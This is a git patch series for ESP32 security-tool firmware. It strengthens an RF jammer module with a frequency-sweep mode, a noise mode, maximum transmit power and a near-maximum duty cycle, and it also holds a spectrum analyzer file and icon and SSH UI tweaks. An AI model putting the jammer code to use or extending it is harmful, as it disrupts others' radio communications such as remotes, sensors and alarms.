+        }
+
+        if (check(EscPress)) {
+            sendRF = false;
+            returnToMenu = true;
+            break;
+        }
+
+        delay(50); // Low CPU usage since hardware handles TX
+    }
+
+    // Restore CC1101 to idle
+    ELECHOUSE_cc1101.setSidle();
+    ELECHOUSE_cc1101.setPktFormat(3); // Restore async serial mode
+}
+
+// ── FREQ SWEEP: Hop around target frequency ─────────────────────
+// Sweeps ±5MHz around the configured frequency in 50kHz steps.
+// Alternates sweep direction each pass for maximum coverage.
+// TX burst at each step creates wideband interference.
+void RFJammer::run_sweep_jammer() {
+    if (!isCC1101) return;
+
+    float baseFreq = bruceConfigPins.rfFreq;
+    float sweepMin = baseFreq - 5.0f;
+    float sweepMax = baseFreq + 5.0f;
+    float sweepStep = 0.05f; // 50kHz steps for finer coverage
+    float currentFreq = sweepMin;
+    bool sweepForward = true;
+
+    // Maximum CC1101 TX power
+    ELECHOUSE_cc1101.setPA(12);
+
+    uint32_t startTime = millis();
+    uint32_t lastCheckTime = startTime;
+    uint32_t lastDisplayTime = startTime;
+
+    // Start TX on first frequency
+    ELECHOUSE_cc1101.setMHZ(currentFreq);
     digitalWrite(nTransmitterPin, HIGH);
-    
-    for (uint32_t i = 0; i < width; i += 10) {
-        digitalWrite(nTransmitterPin, HIGH);
-        delayMicroseconds(5);
-        
-        if (i % 20 == 0) {
-            digitalWrite(nTransmitterPin, LOW);
-            delayMicroseconds(2);
+
+    while (sendRF) {
+        // Sweep frequency
+        ELECHOUSE_cc1101.setMHZ(currentFreq);
+
+        // TX burst at each frequency — 40 pulses with tight timing
+        for (int burst = 0; burst < 40 && sendRF; burst++) {
             digitalWrite(nTransmitterPin, HIGH);
+            delayMicroseconds(30);
+            digitalWrite(nTransmitterPin, LOW);
+            delayMicroseconds(5);
+            pulseCount++;
+        }
+
+        // Bidirectional sweep
+        if (sweepForward) {
+            currentFreq += sweepStep;
+            if (currentFreq > sweepMax) {
+                currentFreq = sweepMax;
+                sweepForward = false;
+                sweepCount++;
+            }
+        } else {
+            currentFreq -= sweepStep;
+            if (currentFreq < sweepMin) {
+                currentFreq = sweepMin;
+                sweepForward = true;
+                sweepCount++;
+            }
+        }
+
+        uint32_t currentTime = millis();
+        if (currentTime - lastCheckTime > 100) {
+            lastCheckTime = currentTime;
+            if (check(EscPress)) {
+                sendRF = false;
+                returnToMenu = true;
+                break;
+            }
+        }
+
+        if (currentTime - lastDisplayTime >= 500) {
+            lastDisplayTime = currentTime;
+
+            // Update frequency display on sweep
+            int y = BORDER_PAD_Y + FM * LH + 4;
+            int lineH = max(14, tftHeight / 10);
+            y += lineH; // Freq line
+            tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
+            tft.setTextSize(FP);
+            tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+            char buf[30];
+            snprintf(buf, sizeof(buf), "%.2f MHz", currentFreq);
+            tft.drawString(buf, 12, y + 2, 1);
+
+            update_display(currentTime - startTime);
         }
-        
-        delayMicroseconds(5);
     }
-    
+
     digitalWrite(nTransmitterPin, LOW);
-    
-    uint32_t lowPeriod = width + (width % 23);
-    for (uint32_t i = 0; i < lowPeriod; i += 10) {
+    // Restore original frequency
+    ELECHOUSE_cc1101.setMHZ(baseFreq);
+}
+
+void RFJammer::send_optimized_pulse(int width) {
+    // Aggressive HIGH phase: rapid micro-interruptions every 6µs
+    // creates wideband harmonic content around center frequency
+    for (uint32_t i = 0; i < (uint32_t)width; i += 6) {
+        digitalWrite(nTransmitterPin, HIGH);
+        delayMicroseconds(5);
+        // Sub-microsecond glitch every cycle for spectral spread
         digitalWrite(nTransmitterPin, LOW);
-        delayMicroseconds(10);
+        delayMicroseconds(1);
     }
+    digitalWrite(nTransmitterPin, HIGH);
+    delayMicroseconds(width / 3); // Extra sustained tail
+    digitalWrite(nTransmitterPin, LOW);
+
+    // Minimal dead time — maximize duty cycle
+    uint32_t lowPeriod = width / 4;
+    if (lowPeriod > 0) delayMicroseconds(lowPeriod);
 }
 
 void RFJammer::send_random_pattern(int numPulses) {
     uint32_t startTime = millis();
-    
+
     for (int i = 0; i < numPulses && sendRF; i++) {
-        uint32_t pulseWidth = 5 + (millis() % 46);
-        
+        // Wider range of pulse widths for maximum spectral diversity
+        uint32_t pulseWidth = 1 + (micros() % 60);
+
         digitalWrite(nTransmitterPin, HIGH);
         delayMicroseconds(pulseWidth);
-        
+
         digitalWrite(nTransmitterPin, LOW);
-        
-        uint32_t spaceWidth = 5 + (micros() % 96);
+
+        // Minimal dead time: 1-8µs for near-max duty cycle
+        uint32_t spaceWidth = 1 + (micros() % 8);
         delayMicroseconds(spaceWidth);
-        
-        if (millis() - startTime > 100) {
-            break;
+
+        if (millis() - startTime > 250) {
+            break; // Longer burst window
         }
     }
 }
diff --git a/src/modules/rf/rf_jammer.h b/src/modules/rf/rf_jammer.h
index bed7795f6..a7e02d0f0 100644
--- a/src/modules/rf/rf_jammer.h
+++ b/src/modules/rf/rf_jammer.h
@@ -1,6 +1,17 @@
 #ifndef __RF_JAMMER_H__
 #define __RF_JAMMER_H__
 
+#include <cstdint>
+
+// ── RF Jammer modes ─────────────────────────────────────────────
+enum RFJamMode : uint8_t {
+    RF_JAM_FULL = 0,     // Continuous TX — maximum duty cycle
+    RF_JAM_ITMT,         // Intermittent bursts — varied pulse patterns
+    RF_JAM_NOISE,        // CC1101 PN9 random TX — hardware noise generator
+    RF_JAM_SWEEP,        // Frequency sweep around target — CC1101 only
+    RF_JAM_MODE_COUNT
+};
+
 class RFJammer {
 public:
     RFJammer(bool full = false);
@@ -11,11 +22,18 @@ class RFJammer {
 private:
     int nTransmitterPin;
     bool sendRF = true;
-    bool fullJammer = false;
+    bool isCC1101 = false;
+    RFJamMode jamMode = RF_JAM_FULL;
+    uint32_t pulseCount = 0;
+    uint32_t sweepCount = 0;
 
+    RFJamMode showModeMenu(bool defaultFull);
     void display_banner();
+    void update_display(uint32_t elapsedMs);
     void run_full_jammer();
     void run_itmt_jammer();
+    void run_noise_jammer();
+    void run_sweep_jammer();
     void send_optimized_pulse(int width);
     void send_random_pattern(int numPulses);
 };
diff --git a/src/modules/rf/rf_spectrum.cpp.bak b/src/modules/rf/rf_spectrum.cpp.bak
new file mode 100644
index 000000000..a277006f1
--- /dev/null
+++ b/src/modules/rf/rf_spectrum.cpp.bak
@@ -0,0 +1,303 @@
+#include "rf_spectrum.h"
+#include "rf_utils.h"
+#include "structs.h"
+#include <RCSwitch.h>
+
+static bool spectrum_rmt_rx_done_callback(
+    rmt_channel_t *channel, const rmt_rx_done_event_data_t *edata, void *user_data
+) {
+    BaseType_t high_task_wakeup = pdFALSE;
+    QueueHandle_t receive_queue = (QueueHandle_t)user_data;
+    // send the received RMT symbols to the parser task
+    xQueueSendFromISR(receive_queue, edata, &high_task_wakeup);
+    return high_task_wakeup == pdTRUE;
+}
+
+void draw_tf_spectrum_grid() {
+    tft.setTextSize(1);
+    tft.setCursor(3, 2);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.printf(" RF - Spectrum (%.2f Mhz)", bruceConfigPins.rfFreq);
+    tft.fillRect(0, 20, tftWidth, tftHeight - 20, bruceConfig.bgColor);
+    tft.drawFastHLine(0, 20 + tftHeight / 2, tftWidth, TFT_DARKGREY);
+    tft.drawFastVLine((1 * tftWidth) / 4, 20, tftHeight - 20, TFT_DARKGREY);
+    tft.drawFastVLine((2 * tftWidth) / 4, 20, tftHeight - 20, TFT_DARKGREY);
+    tft.drawFastVLine((3 * tftWidth) / 4, 20, tftHeight - 20, TFT_DARKGREY);
+}
+
+void rf_spectrum() {
+    tft.fillScreen(bruceConfig.bgColor);
+    draw_tf_spectrum_grid();
+    rmt_channel_handle_t rx_ch = NULL;
+    rx_ch = setup_rf_rx();
+    if (rx_ch == NULL) return;
+    ESP_LOGI("RMT_SPECTRUM", "register RX done callback");
+    QueueHandle_t receive_queue = xQueueCreate(1, sizeof(rmt_rx_done_event_data_t));
+    assert(receive_queue);
+    rmt_rx_event_callbacks_t cbs = {
+        .on_recv_done = spectrum_rmt_rx_done_callback,
+    };
+    ESP_ERROR_CHECK(rmt_rx_register_event_callbacks(rx_ch, &cbs, receive_queue));
+    ESP_ERROR_CHECK(rmt_enable(rx_ch));
+    rmt_receive_config_t receive_config = {
+        .signal_range_min_ns = 3000,     // 6us minimum signal duration
+        .signal_range_max_ns = 12000000, // 24ms maximum signal duration
+    };
+    rmt_symbol_word_t item[64];
+    rmt_rx_done_event_data_t rx_data;
+    ESP_ERROR_CHECK(rmt_receive(rx_ch, item, sizeof(item), &receive_config));
+
+    size_t rx_size = 0;
+    while (1) {
+        rmt_symbol_word_t *rx_items = NULL;
+        if (xQueueReceive(receive_queue, &rx_data, 0) == pdPASS) {
+            rx_size = rx_data.num_symbols;
+            rx_items = rx_data.received_symbols;
+        }
+        if (rx_size != 0) {
+            // Draw grid and info
+            draw_tf_spectrum_grid();
+            // Draw waveform based on signal strength
+            for (size_t i = 0; i < rx_size; i++) {
+                int lineHeight =
+                    map(rx_items[i].duration0 + rx_items[i].duration1,
+                        0,
+                        SIGNAL_STRENGTH_THRESHOLD,
+                        0,
+                        tftHeight / 2);
+                int lineX = map(i, 0, rx_size - 1, 0, tftWidth - 1); // Map i to within the display width
+                int startY = constrain(20 + tftHeight / 2 - lineHeight / 2, 20, 20 + tftHeight);
+                int endY = constrain(20 + tftHeight / 2 + lineHeight / 2, 20, 20 + tftHeight);
+                tft.drawLine(lineX, startY, lineX, endY, bruceConfig.priColor);
+            }
+
+            ESP_ERROR_CHECK(rmt_receive(rx_ch, item, sizeof(item), &receive_config));
+            rx_size = 0;
+        }
+        // Checks to leave while
+        if (check(EscPress)) { break; }
+        if (setMHZMenu()) yield();
+        vTaskDelay(pdMS_TO_TICKS(10));
+    }
+    returnToMenu = true;
+    rmt_disable(rx_ch);
+    rmt_del_channel(rx_ch);
+    vQueueDelete(receive_queue);
+    deinitRfModule();
+}
+
+#define TIME_DIVIDER (tftWidth / 10)
+//@Pirata
+void rf_SquareWave() {
+    RCSwitch rcswitch;
+    if (!initRfModule("rx", bruceConfigPins.rfFreq)) return;
+
+    if (bruceConfigPins.rfModule == CC1101_SPI_MODULE) rcswitch.enableReceive(bruceConfigPins.CC1101_bus.io0);
+    else rcswitch.enableReceive(bruceConfigPins.rfRx);
+    int line_w = 0;
+    int line_h = 15;
+    unsigned int *raw;
+PRINT:
+    tft.drawPixel(0, 0, 0);
+    tft.fillScreen(bruceConfig.bgColor);
+    tft.setTextSize(1);
+    tft.setCursor(3, 2);
+    tft.printf("  RF - SquareWave (%.2f Mhz)", bruceConfigPins.rfFreq);
+
+    while (1) {
+        if (rcswitch.RAWavailable()) {
+            raw = rcswitch.getRAWReceivedRawdata();
+            // Clear the display area
+            // tft.fillRect(0, 0, tftWidth, tftHeight, bruceConfig.bgColor);
+            // Draw waveform based on signal strength
+            for (int i = 0; i < RCSWITCH_RAW_MAX_CHANGES - 1; i += 2) {
+                if (raw[i] == 0) break;
+
+                if (raw[i] > 20000) raw[i] = 20000;
+                if (raw[i + 1] > 20000) raw[i + 1] = 20000;
+                if (line_w + (raw[i] + raw[i + 1]) / TIME_DIVIDER > tftWidth) {
+                    line_w = 10;
+                    line_h += 10;
+                }
+                if (line_h > tftHeight) {
+                    line_h = 15;
+                    tft.fillRect(0, 12, tftWidth, tftHeight, bruceConfig.bgColor);
+                }
+                tft.drawFastVLine(line_w, line_h, 6, bruceConfig.priColor);
+                tft.drawFastHLine(line_w, line_h, raw[i] / TIME_DIVIDER, bruceConfig.priColor);
+
+                tft.drawFastVLine(line_w + raw[i] / TIME_DIVIDER, line_h, 6, bruceConfig.priColor);
+                tft.drawFastHLine(
+                    line_w + raw[i] / TIME_DIVIDER,
+                    line_h + 6,
+                    raw[i + 1] / TIME_DIVIDER,
+                    bruceConfig.priColor
+                );
+                line_w += (raw[i] + raw[i + 1]) / TIME_DIVIDER;
+            }
+            rcswitch.resetAvailable();
+        }
+        // Checks to leave while
+        if (check(EscPress)) { break; }
+        if (setMHZMenu()) goto PRINT;
+        vTaskDelay(pdMS_TO_TICKS(10));
+    }
+    returnToMenu = true;
+}
+
+void rf_CC1101_rssi() {
+#if !defined(LITE_VERSION)
+    if (bruceConfigPins.rfModule != CC1101_SPI_MODULE) {
+        displayError("only for CC1101 module", true);
+        return;
+    }
+    int graph_size = tftWidth - 20;
+    std::vector<int> signal(graph_size, -95);
+    const size_t freq_count = sizeof(subghz_frequency_list) / sizeof(float);
+    std::vector<int> bar_size(freq_count, 0);
+    std::vector<int> peak_size(freq_count, 0);
+    int max_bar_size = tftHeight - 20 /*bottom margin*/ - 20 /*top margin*/;
+    bool redraw = true;
+    const int min_value = map(-70, -95, -20, 0, max_bar_size);
+    while (1) {
+        if (redraw) {
+            redraw = false;
+            tft.drawPixel(0, 0, 0);
+            tft.fillScreen(bruceConfig.bgColor);
+            tft.setTextSize(1);
+            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+            tft.setCursor(3, 2);
+            // Fixed frequency sees a dot running grafic, showing RSSI over time
+            if (bruceConfigPins.rfFxdFreq) {
+                if (!initRfModule("rx", bruceConfigPins.rfFreq))
+                    displayError("Error setting frequency", true);
+                tft.printf(" RF - RSSI spectrum (%.2f Mhz)", bruceConfigPins.rfFreq);
+                tft.drawFastVLine(20, 20, tftHeight, bruceConfig.priColor);
+                tft.drawString("-95", 0, (tftHeight - 120) + 95);
+                tft.drawString("-80", 0, (tftHeight - 120) + 80);
+                tft.drawString("-65", 0, (tftHeight - 120) + 65);
+                tft.drawString("-50", 0, (tftHeight - 120) + 50);
+                tft.drawString("-35", 0, (tftHeight - 120) + 35);
+                tft.drawString("-20", 0, (tftHeight - 120) + 20);
+                // resets signal array
+                std::fill(signal.begin(), signal.end(), -95);
+            }
+            // Range Scan Sees a bargraph simillar to NRF24 grafic, using RSSI across frequencies
+            else {
+                if (!initRfModule("rx", bruceConfigPins.rfFreq)) displayError("Error starting module", true);
+                tft.printf(" RF - RSSI spectrum (%s)", subghz_frequency_ranges[bruceConfigPins.rfScanRange]);
+                tft.drawFastHLine(0, tftHeight - 20, tftWidth, bruceConfig.priColor);
+                char buf[7];
+                float var = subghz_frequency_list[range_limits[bruceConfigPins.rfScanRange][0]];
+                snprintf(buf, sizeof(buf), "%.3f", var);
+                tft.drawString(buf, 2, tftHeight - 10);
+                var = subghz_frequency_list[range_limits[bruceConfigPins.rfScanRange][1]];
+                snprintf(buf, sizeof(buf), "%.3f", var);
+                tft.drawRightString(buf, tftWidth - 2, tftHeight - 10);
+                int range = range_limits[bruceConfigPins.rfScanRange][1] -
+                            range_limits[bruceConfigPins.rfScanRange][0] + 1;
+                int space = tftWidth / range;
+                for (int i = 0; i < range; i++) {
+                    tft.drawFastVLine(space * i, tftHeight - 20, 5, bruceConfig.priColor);
+                }
+                std::fill(bar_size.begin(), bar_size.end(), 0);
+                std::fill(peak_size.begin(), peak_size.end(), 0);
+            }
+        }
+
+        // draw dot graph for fixed frequency
+        if (bruceConfigPins.rfFxdFreq) {
+            int rssi = ELECHOUSE_cc1101.getRssi();
+            tft.drawPixel(0, 0, 0); // To make sure CC1101 shared with TFT works properly
+            const int base_y = tftHeight - 120;
+            int prev = signal[0];
+            for (int i = 1; i < graph_size; i++) {
+                if (EscPress || SelPress) break;
+                const int x0 = 20 + (i - 1);
+                const int x1 = 20 + i;
+                const int curr = signal[i];
+                // erase old segment between previous and current points
+                tft.drawLine(x0, base_y - prev, x1, base_y - curr, bruceConfig.bgColor);
+                const int next_val = (i == graph_size - 1) ? rssi : signal[i + 1];
+                // shift buffer left by one
+                signal[i - 1] = curr;
+                if (i == graph_size - 1) signal[i] = rssi;
+                // draw updated segment using new values
+                tft.drawLine(x0, base_y - curr, x1, base_y - next_val, bruceConfig.priColor);
+                prev = curr;
+            }
+            tft.drawFastVLine(20, 20, tftHeight, bruceConfig.priColor);
+            vTaskDelay(pdMS_TO_TICKS(75));
+        }
+        // draw a bargraph similar to nrf24 across the range
+        else {
+            int range = range_limits[bruceConfigPins.rfScanRange][1] -
+                        range_limits[bruceConfigPins.rfScanRange][0] + 1;
+
+            int space = tftWidth / range;
+            int max_idx = 0;
+            for (int i = 0; i < range; i++) {
+                if (EscPress || SelPress) break;
+                setMHZ(subghz_frequency_list[range_limits[bruceConfigPins.rfScanRange][0] + i]);
+                vTaskDelay(pdMS_TO_TICKS(5));
+                int rssi = ELECHOUSE_cc1101.getRssi();
+                tft.drawPixel(0, 0, 0); // To make sure CC1101 shared with TFT works properly
+                int size = map(rssi, -95, -20, 0, max_bar_size);
+                if (size > bar_size[i]) bar_size[i] = size;
+                else bar_size[i] = bar_size[i] - (bar_size[i] - size) / 2; // slow down decrease
+                // Peak hold tracking
+                if (bar_size[i] > peak_size[i]) peak_size[i] = bar_size[i];
+                else if (peak_size[i] > 0) peak_size[i]--;
+                // Color gradient based on strength
+                uint16_t barClr = TFT_DARKGREEN;
+                if (bar_size[i] > max_bar_size * 85 / 100) barClr = TFT_RED;
+                else if (bar_size[i] > max_bar_size * 65 / 100) barClr = TFT_ORANGE;
+                else if (bar_size[i] > max_bar_size * 45 / 100) barClr = TFT_YELLOW;
+                else if (bar_size[i] > max_bar_size * 25 / 100) barClr = TFT_GREEN;
+                tft.fillRect(
+                    i * space, tftHeight - 20 - bar_size[i], space - 2, bar_size[i], barClr
+                );
+                tft.fillRect(i * space, 20, space, max_bar_size - bar_size[i], bruceConfig.bgColor);
+                // Peak hold marker (white line)
+                if (peak_size[i] > bar_size[i] && peak_size[i] > 0) {
+                    int peakY = tftHeight - 20 - peak_size[i];
+                    tft.drawFastHLine(i * space, peakY, space - 2, TFT_WHITE);
+                }
+                if (bar_size[i] > bar_size[max_idx] && bar_size[i] > min_value) max_idx = i;
+            }
+            // dBm reference labels (overlaid on bars)
+            {
+                int refs[] = {-70, -45};
+                const char *rlbl[] = {"-70", "-45"};
+                tft.setTextSize(FP);
+                for (int r = 0; r < 2; r++) {
+                    int refH = map(refs[r], -95, -20, 0, max_bar_size);
+                    int refY = tftHeight - 20 - refH;
+                    tft.fillRect(0, refY - 4, 20, 9, bruceConfig.bgColor);
+                    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+                    tft.drawString(rlbl[r], 1, refY - 4, 1);
+                    tft.drawFastHLine(0, refY, 4, TFT_DARKGREY);
+                }
+            }
+            if (bar_size[max_idx] > min_value) {
+                char buf[24];
+                float var = subghz_frequency_list[range_limits[bruceConfigPins.rfScanRange][0] + max_idx];
+                int peakDbm = map(bar_size[max_idx], 0, max_bar_size, -95, -20);
+                snprintf(buf, sizeof(buf), "PK:%.2f %ddBm", var, peakDbm);
+                tft.fillRect(tftWidth / 2 - 70, tftHeight - 10, 140, 10, bruceConfig.bgColor);
+                tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+                tft.drawCentreString(buf, tftWidth / 2, tftHeight - 10);
+            }
+        }
+        if (check(EscPress)) { break; }
+        if (check(SelPress)) {
+            deinitRfModule();
+            rf_range_selection(bruceConfigPins.rfFreq);
+            redraw = true;
+        }
+    }
+    deinitRfModule();
+#else
+    displayError("Not available on Launcher version");
+#endif
+}

From eea886bfdfb10bc9b4af9b713b28a415186b6e4f Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 22:38:56 -0300
Subject: [PATCH 07/73] Better Icons TAB

---
 src/core/display.cpp | 58 +++++++++++++++++++++++++-------------------
 src/core/display.h   |  2 ++
 2 files changed, 35 insertions(+), 25 deletions(-)

diff --git a/src/core/display.cpp b/src/core/display.cpp
index 6f3c817a0..08aa21a77 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -822,11 +822,7 @@ void drawStatusBar() {
         if (showSD) {
             int x = sx + idx * (IW + GAP);
             tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
-            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-            tft.setTextSize(FP);
-            tft.setTextDatum(MC_DATUM);
-            tft.drawString("SD", x + IW / 2, iy + IH / 2);
-            tft.setTextDatum(TL_DATUM);
+            drawSdSmall(x, iy);
             idx++;
         }
         if (showGPS) {
@@ -950,11 +946,11 @@ void drawBatteryStatus(uint8_t bat) {
 void drawWireguardStatus(int x, int y) {
     tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
     if (isConnectedWireguard) {
-        tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
-        tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
+        tft.drawRoundRect(x + 4, y + 2, 8, 8, 3, bruceConfig.priColor);
+        tft.fillRoundRect(x + 3, y + 7, 10, 7, 1, bruceConfig.priColor);
     } else {
-        tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
-        tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
+        tft.drawRoundRect(x + 4, y + 2, 8, 8, 3, bruceConfig.priColor);
+        tft.drawRoundRect(x + 3, y + 7, 10, 7, 1, bruceConfig.priColor);
     }
 }
 
@@ -1009,29 +1005,41 @@ Opt_Coord listFiles(int index, std::vector<FileList> fileList) {
 
 // desenhos do menu principal, sprite "draw" com 80x80 pixels
 
+void drawSdSmall(int x, int y) {
+    tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
+    tft.drawLine(x + 3, y + 2, x + 3, y + 14, bruceConfig.priColor);
+    tft.drawLine(x + 3, y + 14, x + 13, y + 14, bruceConfig.priColor);
+    tft.drawLine(x + 13, y + 14, x + 13, y + 5, bruceConfig.priColor);
+    tft.drawLine(x + 13, y + 5, x + 10, y + 2, bruceConfig.priColor);
+    tft.drawLine(x + 10, y + 2, x + 3, y + 2, bruceConfig.priColor);
+
+    tft.drawLine(x + 5, y + 4, x + 5, y + 6, bruceConfig.priColor);
+    tft.drawLine(x + 7, y + 4, x + 7, y + 6, bruceConfig.priColor);
+    tft.drawLine(x + 9, y + 4, x + 9, y + 6, bruceConfig.priColor);
+    tft.drawLine(x + 11, y + 5, x + 11, y + 6, bruceConfig.priColor);
+}
+
 void drawWifiSmall(int x, int y) {
     tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
-    tft.fillCircle(9 + x, 14 + y, 1, bruceConfig.priColor);
-    tft.drawArc(9 + x, 14 + y, 4, 6, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawArc(9 + x, 14 + y, 10, 12, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.fillCircle(x + 8, y + 13, 1, bruceConfig.priColor);
+    tft.drawArc(x + 8, y + 13, 4, 6, 135, 225, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawArc(x + 8, y + 13, 9, 11, 135, 225, bruceConfig.priColor, bruceConfig.bgColor);
 }
 
 void drawWebUISmall(int x, int y) {
     tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
-
-    tft.drawCircle(8 + x, 8 + y, 7, bruceConfig.priColor);
-
-    tft.drawLine(3 + x, 4 + y, 14 + x, 4 + y, bruceConfig.priColor);
-    tft.drawLine(2 + x, 8 + y, 15 + x, 8 + y, bruceConfig.priColor);
-    tft.drawLine(3 + x, 12 + y, 14 + x, 12 + y, bruceConfig.priColor);
+    tft.drawCircle(x + 8, y + 8, 6, bruceConfig.priColor);
+    tft.drawLine(x + 3, y + 4, x + 13, y + 4, bruceConfig.priColor);
+    tft.drawLine(x + 2, y + 8, x + 14, y + 8, bruceConfig.priColor);
+    tft.drawLine(x + 3, y + 12, x + 13, y + 12, bruceConfig.priColor);
 }
 
 void drawBLESmall(int x, int y) {
     tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
-    tft.drawWideLine(8 + x, 8 + y, 4 + x, 5 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawWideLine(8 + x, 8 + y, 4 + x, 13 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawTriangle(8 + x, 8 + y, 8 + x, 2 + y, 13 + x, 5 + y, bruceConfig.priColor);
-    tft.drawTriangle(8 + x, 8 + y, 8 + x, 14 + y, 13 + x, 11 + y, bruceConfig.priColor);
+    tft.drawWideLine(x + 8, y + 8, x + 4, y + 4, 2, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawWideLine(x + 8, y + 8, x + 4, y + 12, 2, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawTriangle(x + 8, y + 8, x + 8, y + 2, x + 12, y + 5, bruceConfig.priColor);
+    tft.drawTriangle(x + 8, y + 8, x + 8, y + 14, x + 12, y + 11, bruceConfig.priColor);
 }
 
 void drawBLE_beacon(int x, int y, uint16_t color) {
@@ -1054,9 +1062,9 @@ void drawGPS(int x, int y) {
 
 void drawGpsSmall(int x, int y) {
     tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
-    tft.drawEllipse(9 + x, 14 + y, 4, 3, bruceConfig.priColor);
-    tft.drawArc(9 + x, 6 + y, 5, 2, 0, 340, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.fillTriangle(9 + x, 15 + y, 5 + x, 9 + y, 13 + x, 9 + y, bruceConfig.priColor);
+    tft.drawEllipse(x + 8, y + 13, 4, 3, bruceConfig.priColor);
+    tft.drawArc(x + 8, y + 5, 5, 2, 0, 360, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.fillTriangle(x + 8, y + 14, x + 4, y + 8, x + 12, y + 8, bruceConfig.priColor);
 }
 
 void drawCreditCard(int x, int y) {
diff --git a/src/core/display.h b/src/core/display.h
index e887e89f1..8b3faf2e1 100644
--- a/src/core/display.h
+++ b/src/core/display.h
@@ -214,6 +214,8 @@ void drawGPS(int x, int y);
 
 void drawGpsSmall(int x, int y);
 
+void drawSdSmall(int x, int y);
+
 void drawCreditCard(int x, int y);
 
 void drawMfkey32Icon(int x, int y);

From 6978d09213ef5c1048a086711e69f02fbe9b3841 Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 22:55:49 -0300
Subject: [PATCH 08/73] Fixed Only Text WIFI UI

---
 src/modules/wifi/clients.cpp      | 58 ++++++++++++++++++------------
 src/modules/wifi/responder.cpp    | 59 ++++++++++++++++---------------
 src/modules/wifi/sniffer.cpp      |  5 +--
 src/modules/wifi/socks4_proxy.cpp | 24 ++++++++-----
 src/modules/wifi/tcp_utils.cpp    | 50 ++++++++++++++++----------
 5 files changed, 117 insertions(+), 79 deletions(-)

diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index 035d421ec..da4eb93dc 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -56,8 +56,9 @@ bool filterAnsiSequences = true; // Set to false to disable ANSI sequence filter
 void ssh_setup(String host) {
     if (!wifiConnected) wifiConnectMenu();
 
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
+    drawMainBorderWithTitle("SSH");
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     if (host != "") ssh_host = host;
     else {
         String my_net =
@@ -104,8 +105,9 @@ void ssh_setup(String host) {
 void ssh_loop(void *pvParameters) {
     String message = "";
     tft.setTextSize(FP);
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
+    drawMainBorderWithTitle("SSH");
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     cursorY = tft.getCursorY();
     log_d("BEFORE SSH");
     my_ssh_session = ssh_new();
@@ -193,9 +195,10 @@ void ssh_loop(void *pvParameters) {
     }
 
     log_d("SSH setup completed.");
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+    drawMainBorderWithTitle("SSH");
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
     tft.setTextSize(FP);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     char buffer[1024];
     int nbytes;
     keyStroke key;
@@ -222,8 +225,9 @@ void ssh_loop(void *pvParameters) {
                     tft.setTextColor(TFT_GREEN);
                     commandBuffer.trim();
                     if (commandBuffer.substring(2) == "cls") {
-                        tft.fillScreen(bruceConfig.bgColor);
-                        tft.setCursor(0, 0);
+                        drawMainBorderWithTitle("SSH");
+                        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+                        tft.setCursor(10, BORDER_PAD_Y + FM * LH);
                         tft.print("> ");
                         commandBuffer = "> ";
                     } else {
@@ -247,8 +251,9 @@ void ssh_loop(void *pvParameters) {
             message = keyboard("cls", 76, "SSH Command: ");
             while (check(SelPress)) { yield(); } // timerless debounce
             if (message == "cls") {
-                tft.fillScreen(bruceConfig.bgColor);
-                tft.setCursor(0, 0);
+                drawMainBorderWithTitle("SSH");
+                tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+                tft.setCursor(10, BORDER_PAD_Y + FM * LH);
                 tft.print("> ");
             } else {
                 message += "\r";
@@ -257,7 +262,7 @@ void ssh_loop(void *pvParameters) {
             }
 
             commandBuffer = "> " + message;
-            tft.setCursor(0, 0);
+            tft.setCursor(10, tft.getCursorY());
             tft.setTextSize(FP);
         }
 
@@ -273,13 +278,15 @@ void ssh_loop(void *pvParameters) {
                 msg += char(buffer[i]);
                 if (buffer[i] == '\r') continue; // Ignore carriage return
                 tft.write(buffer[i]);
-                if (tft.getCursorY() > tftHeight) {
